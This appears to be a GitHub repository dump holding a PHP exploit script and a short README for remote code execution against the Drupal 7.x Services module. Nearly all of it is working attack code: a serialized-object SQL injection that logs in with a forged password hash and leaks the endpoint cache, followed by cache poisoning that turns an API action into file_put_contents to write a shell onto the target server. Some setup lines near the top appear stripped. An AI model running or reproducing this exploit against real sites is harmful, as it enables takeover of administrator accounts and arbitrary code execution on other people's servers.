├── Drupal-Exploit.php └── README.md /Drupal-Exploit.php: -------------------------------------------------------------------------------- 1 | #!/usr/bin/php 2 | 'dixuSOspsOUU.php', 30 | 'data' => '' 31 | ]; 32 | 33 | $browser = new Browser($url . $endpoint_path); 34 | 35 | 36 | # Stage 1: SQL Injection 37 | 38 | class DatabaseCondition 39 | { 40 | protected $conditions = [ 41 | "#conjunction" => "AND" 42 | ]; 43 | protected $arguments = []; 44 | protected $changed = false; 45 | protected $queryPlaceholderIdentifier = null; 46 | public $stringVersion = null; 47 | 48 | public function __construct($stringVersion=null) 49 | { 50 | $this->stringVersion = $stringVersion; 51 | 52 | if(!isset($stringVersion)) 53 | { 54 | $this->changed = true; 55 | $this->stringVersion = null; 56 | } 57 | } 58 | } 59 | 60 | class SelectQueryExtender { 61 | # Contains a DatabaseCondition object instead of a SelectQueryInterface 62 | # so that $query->compile() exists and (string) $query is controlled by us. 63 | protected $query = null; 64 | 65 | protected $uniqueIdentifier = QID; 66 | protected $connection; 67 | protected $placeholder = 0; 68 | 69 | public function __construct($sql) 70 | { 71 | $this->query = new DatabaseCondition($sql); 72 | } 73 | } 74 | 75 | $cache_id = "services:$endpoint:resources"; 76 | $sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'"; 77 | $password_hash = '$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd'; 78 | 79 | # Take first user but with a custom password 80 | # Store the original password hash in signature_format, and endpoint cache 81 | # in signature 82 | $query = 83 | "0x3a) UNION SELECT ux.uid AS uid, " . 84 | "ux.name AS name, '$password_hash' AS pass, " . 85 | "ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " . 86 | "ux.pass AS signature_format, ux.created AS created, " . 87 | "ux.access AS access, ux.login AS login, ux.status AS status, " . 88 | "ux.timezone AS timezone, ux.language AS language, ux.picture " . 89 | "AS picture, ux.init AS init, ux.data AS data FROM {users} ux " . 90 | "WHERE ux.uid<>(0" 91 | ; 92 | 93 | $query = new SelectQueryExtender($query); 94 | $data = ['username' => $query, 'password' => 'ouvreboite']; 95 | $data = serialize($data); 96 | 97 | $json = $browser->post(TYPE_PHP, $data); 98 | 99 | # If this worked, the rest will as well 100 | if(!isset($json->user)) 101 | { 102 | print_r($json); 103 | e("Failed to login with fake password"); 104 | } 105 | 106 | # Store session and user data 107 | 108 | $session = [ 109 | 'session_name' => $json->session_name, 110 | 'session_id' => $json->sessid, 111 | 'token' => $json->token 112 | ]; 113 | store('session', $session); 114 | 115 | $user = $json->user; 116 | 117 | # Unserialize the cached value 118 | # Note: Drupal websites admins, this is your opportunity to fight back :) 119 | $cache = unserialize($user->signature); 120 | 121 | # Reassign fields 122 | $user->pass = $user->signature_format; 123 | unset($user->signature); 124 | unset($user->signature_format); 125 | 126 | store('user', $user); 127 | 128 | if($cache === false) 129 | { 130 | e("Unable to obtains endpoint's cache value"); 131 | } 132 | 133 | x("Cache contains " . sizeof($cache) . " entries"); 134 | 135 | # Stage 2: Change endpoint's behaviour to write a shell 136 | 137 | class DrupalCacheArray 138 | { 139 | # Cache ID 140 | protected $cid = "services:endpoint_name:resources"; 141 | # Name of the table to fetch data from. 142 | # Can also be used to SQL inject in DrupalDatabaseCache::getMultiple() 143 | protected $bin = 'cache'; 144 | protected $keysToPersist = []; 145 | protected $storage = []; 146 | 147 | function __construct($storage, $endpoint, $controller, $action) { 148 | $settings = [ 149 | 'services' => ['resource_api_version' => '1.0'] 150 | ]; 151 | $this->cid = "services:$endpoint:resources"; 152 | 153 | # If no endpoint is given, just reset the original values 154 | if(isset($controller)) 155 | { 156 | $storage[$controller]['actions'][$action] = [ 157 | 'help' => 'Writes data to a file', 158 | # Callback function 159 | 'callback' => 'file_put_contents', 160 | # This one does not accept "true" as Drupal does, 161 | # so we just go for a tautology 162 | 'access callback' => 'is_string', 163 | 'access arguments' => ['a string'], 164 | # Arguments given through POST 165 | 'args' => [ 166 | 0 => [ 167 | 'name' => 'filename', 168 | 'type' => 'string', 169 | 'description' => 'Path to the file', 170 | 'source' => ['data' => 'filename'], 171 | 'optional' => false, 172 | ], 173 | 1 => [ 174 | 'name' => 'data', 175 | 'type' => 'string', 176 | 'description' => 'The data to write', 177 | 'source' => ['data' => 'data'], 178 | 'optional' => false, 179 | ], 180 | ], 181 | 'file' => [ 182 | 'type' => 'inc', 183 | 'module' => 'services', 184 | 'name' => 'resources/user_resource', 185 | ], 186 | 'endpoint' => $settings 187 | ]; 188 | $storage[$controller]['endpoint']['actions'] += [ 189 | $action => [ 190 | 'enabled' => 1, 191 | 'settings' => $settings 192 | ] 193 | ]; 194 | } 195 | 196 | $this->storage = $storage; 197 | $this->keysToPersist = array_fill_keys(array_keys($storage), true); 198 | } 199 | } 200 | 201 | class ThemeRegistry Extends DrupalCacheArray { 202 | protected $persistable; 203 | protected $completeRegistry; 204 | } 205 | 206 | cache_poison($endpoint, $cache); 207 | 208 | # Write the file 209 | $json = (array) $browser->post(TYPE_JSON, json_encode($file)); 210 | 211 | 212 | # Stage 3: Restore endpoint's behaviour 213 | 214 | cache_reset($endpoint, $cache); 215 | 216 | if(!(isset($json[0]) && $json[0] === strlen($file['data']))) 217 | { 218 | e("Failed to write file."); 219 | } 220 | 221 | $file_url = $url . '/' . $file['filename']; 222 | x("File written: $file_url"); 223 | 224 | 225 | # HTTP Browser 226 | 227 | class Browser 228 | { 229 | private $url; 230 | private $controller = CONTROLLER; 231 | private $action = ACTION; 232 | 233 | function __construct($url) 234 | { 235 | $this->url = $url; 236 | } 237 | 238 | function post($type, $data) 239 | { 240 | $headers = [ 241 | "Accept: " . TYPE_JSON, 242 | "Content-Type: $type", 243 | "Content-Length: " . strlen($data) 244 | ]; 245 | $url = $this->url . '/' . $this->controller . '/' . $this->action; 246 | 247 | $s = curl_init(); 248 | curl_setopt($s, CURLOPT_URL, $url); 249 | curl_setopt($s, CURLOPT_HTTPHEADER, $headers); 250 | curl_setopt($s, CURLOPT_POST, 1); 251 | curl_setopt($s, CURLOPT_POSTFIELDS, $data); 252 | curl_setopt($s, CURLOPT_RETURNTRANSFER, true); 253 | curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0); 254 | curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0); 255 | $output = curl_exec($s); 256 | $error = curl_error($s); 257 | curl_close($s); 258 | 259 | if($error) 260 | { 261 | e("cURL: $error"); 262 | } 263 | 264 | return json_decode($output); 265 | } 266 | } 267 | 268 | # Cache 269 | 270 | function cache_poison($endpoint, $cache) 271 | { 272 | $tr = new ThemeRegistry($cache, $endpoint, CONTROLLER, ACTION); 273 | cache_edit($tr); 274 | } 275 | 276 | function cache_reset($endpoint, $cache) 277 | { 278 | $tr = new ThemeRegistry($cache, $endpoint, null, null); 279 | cache_edit($tr); 280 | } 281 | 282 | function cache_edit($tr) 283 | { 284 | global $browser; 285 | $data = serialize([$tr]); 286 | $json = $browser->post(TYPE_PHP, $data); 287 | } 288 | 289 | # Utils 290 | 291 | function x($message) 292 | { 293 | print("$message\n"); 294 | } 295 | 296 | function e($message) 297 | { 298 | x($message); 299 | exit(1); 300 | } 301 | 302 | function store($name, $data) 303 | { 304 | $filename = "$name.json"; 305 | file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT)); 306 | x("Stored $name information in $filename"); 307 | } 308 | 309 | 310 | 311 | 312 | 313 | 314 | 315 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Drupal-Exploit 2 | Drupal 7.x Services Module Remote Code Execution Exploit - https://www.ambionics.io/blog/drupal-services-module-rce 3 | --------------------------------------------------------------------------------